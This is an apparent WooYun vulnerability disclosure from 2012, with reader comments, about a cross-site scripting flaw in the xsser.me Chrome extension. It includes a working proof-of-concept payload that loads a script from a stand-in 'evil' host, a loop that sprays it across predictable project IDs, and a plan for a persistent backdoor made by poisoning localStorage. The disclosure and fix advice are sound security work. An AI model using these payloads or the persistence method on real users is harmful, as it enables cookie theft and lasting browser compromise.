当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013414

漏洞标题:xsser.me的跨站漏洞

相关厂商:乌云官方

漏洞作者: p.z

提交时间:2012-10-16 17:31

修复时间:2012-11-04 16:50

公开时间:2012-11-04 16:50

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-16: 细节已通知厂商并且等待厂商处理中
2012-10-19: 厂商已经确认,细节仅向厂商公开
2012-10-29: 细节向核心白帽子及相关领域专家公开
2012-11-04: 厂商提前公开漏洞,细节向公众公开

简要描述:

xsser.me官方提供的chrome插件存在一漏洞,成功利用后,可以在造成在该插件的chrome区的一个xss,通过继承插件的权限,攻击者可以进行进一步攻击,通过进一步的攻击,可以再chrome下留下一个持久的后门,攻击者可以在用户运行浏览器的时候,在任意标签页执行JS代码,获取任意域下的cookie(包括httponly)等等。

详细说明:

对xsser.crx解压
popup.html

function render(cookies){
var list = document.getElementById('list');
for(var i=0,x,html='';x=cookies[i];i++){
x.desc_url=x.url.length>75?x.url.substr(0,75):x.url;
html+="<li><a title=':{url}' href='javascript:void(0)' onclick=\"replay(':{url}',':{cookie}')\">:{desc_url}</a></li>"
.replace(/:{\w+}/ig,function(k){return x[k.substring(2,k.length-1)]});
}
list.innerHTML=html;
}


xsser.me提供的api接口虽然对一些特殊字符进行了编码,吧'编码成了&#039;,但是在特定的条件下,&#039;还是会被当成'来对待。如下情况:

<img src=2 onerror="alert(&#039;2')">


在本次案例中,cookie被直接带入了onclick="replay(':{url}',':{cookie}')"中,因此可以造成onclick的属性值的js语意截断,执行任意代码。由于发生xss的地方不再是传统的web域,而是在插件处,因此能做的事情也就更多了,关于更多chrome插件安全的科普(http://www.slideshare.net/kkotowicz/advanced-chrome-extension-exploitation)

漏洞证明:

PoC

(new Image()).src="http://xssplatform.sinaapp.com/index.php?do=api&id=92&location=http%3A//www.iana.org/domains/example/&toplocation=http%3A//www.iana.org/domains/example/l&cookie=');(function(){d=document;e=d.createElement('script');e.src='http://evil/xss.js?'%2bMath.random();d.body.appendChild(e);})()//&opener=";


由于xsser.me的projectId是可以预测的(递增的数字),因此可以写一段JS代码,对所有的project都发送一个我构造好的payload log

for(var i=0; i<100; i++){
(new Image()).src="http://xssplatform.sinaapp.com/index.php?do=api&id="+i+"&location=http%3A//www.iana.org/domains/example/&toplocation=http%3A//www.iana.org/domains/example/l&cookie=');(function(){d=document;e=d.createElement('script');e.src='http://evil/xss.js?'%2bMath.random();d.body.appendChild(e);})()//&opener=";
}


可以利用下老外写的xss chef(专门搞chrome插件的xss的框架)


但是我们现在的漏洞还是处于一个不完美的状态,因为每一次利用都需要进行一次点击,用简单的话说,我们要把这个反射型xss变成一个存储型xss。
插件的功能是这样实现的:
加载 -> 获取存储在localStorage中的数据 -> render() -> 隔30s调用load函数 -> load函数去对比xsser.me提供的数据和本地数据,判断是否有新的client
上面的render函数直接把desc_url输出,因此他的安全完全取决于外部传入数据(本次案例是xsser.m提供的数据)的安全,如果我们修改localStorage中的数据,render函数输出的html就可以造成xss。
下面是我们的思路
本次运行时:
用户点击 -> 触发xss -> 劫持load函数,并污染本地的localStorage数据。
由于劫持了load函数,因此不会再去官方拉取最新的数据,避免了将已经污染的本地localStorage数据再还原。
下次运行时,localStorage数据已经是被污染了,render()函数渲染后执行了我们加入的xss payload,xss payload再去劫持load函数,达到rootkit的目的。

修复方案:

1.修复插件中的漏洞。
2.xsser.me的projectID变成随机字符串,不可预测。

版权声明:转载请注明来源 p.z@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-10-19 20:12

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

2012-11-04:漏洞已完全修复


漏洞评价:

评论

  1. 2012-10-16 17:38 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    .......

  2. 2012-10-16 17:43 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    @xsser 想夸我就直说

  3. 2012-10-16 17:45 | Sogili ( 普通白帽子 | Rank:129 漏洞数:27 )

    @p.z - -

  4. 2012-10-16 17:45 | Jannock 认证白帽子 ( 核心白帽子 | Rank:2278 漏洞数:204 | 关注技术与网络安全(招人中,有兴趣请私信...)

    @p.z 太有想象能力了!又见跨站牛

  5. 2012-10-16 17:55 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

    xsser想哭了

  6. 2012-10-16 17:57 | rayh4c ( 普通白帽子 | Rank:240 漏洞数:23 )

    = =!! “后门”啊,被发现了吧~

  7. 2012-10-16 17:58 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    下午所有项目里弹,截获的一个XX cookies;是洞主杰作吧?

  8. 2012-10-16 18:00 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    各位洞主 安心使用 乌云已经修复了.......

  9. 2012-10-16 18:03 | 江苏苏宁易购电子商务有限公司(乌云厂商)

    好鲜亮的标题

  10. 2012-10-16 18:03 | 一刀终情 ( 普通白帽子 | Rank:156 漏洞数:28 | ‮‮PKAV技术宅社区-安全爱好者)

    @rayh4c 我艹,原来不是漏洞,是后门

  11. 2012-10-16 18:04 | 波波虎 ( 普通白帽子 | Rank:266 漏洞数:51 | 11111111111)

    还好没装,下午刚买的号,就报漏洞了。。。。

  12. 2012-10-16 18:05 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    @波波虎 怎么买的?!我也想买呢

  13. 2012-10-16 18:43 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    @一刀终情 我也截获到了!!!

  14. 2012-10-16 18:58 | 波波虎 ( 普通白帽子 | Rank:266 漏洞数:51 | 11111111111)

    @zzR http://www.wooyun.org/market/3 这个里面买

  15. 2012-10-16 19:01 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    @波波虎 谢谢,已经购买

  16. 2012-10-16 19:04 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    被爆菊花了~~

  17. 2012-10-16 19:50 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @gainover 要不要这么多人关注啊

  18. 2012-10-16 19:51 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @xsser 哈哈。 说明大家都喜欢菊花~~

  19. 2012-10-16 20:37 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    其实反向说明一个东西,就是浏览器插件大家一定要小心。。@xsser 既然修复了,你就忽略吧

  20. 2012-10-16 23:24 | pangshenjie ( 普通白帽子 | Rank:110 漏洞数:14 )

    这个屌,围观

  21. 2012-10-17 00:35 | yy520 ( 普通白帽子 | Rank:139 漏洞数:12 )

    我也收到了~ 受打击了~

  22. 2012-10-19 20:43 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    腾讯体。。。。

  23. 2012-10-19 21:08 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1:5 无限量收 [平台担保])

    这厂商回复要火呀

  24. 2012-10-19 23:01 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @zzR +1

  25. 2012-10-20 08:26 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    开公司了?都有业务部门?

  26. 2012-10-20 10:41 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @possible 看下腾讯对漏洞的回复,再看看这个。

  27. 2013-01-07 17:23 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    为啥和腾讯的回复一样?

  28. 2013-03-09 06:41 | 苏南同学 ( 实习白帽子 | Rank:41 漏洞数:5 | 苏南同学,就是苏南同学~~~)

    ............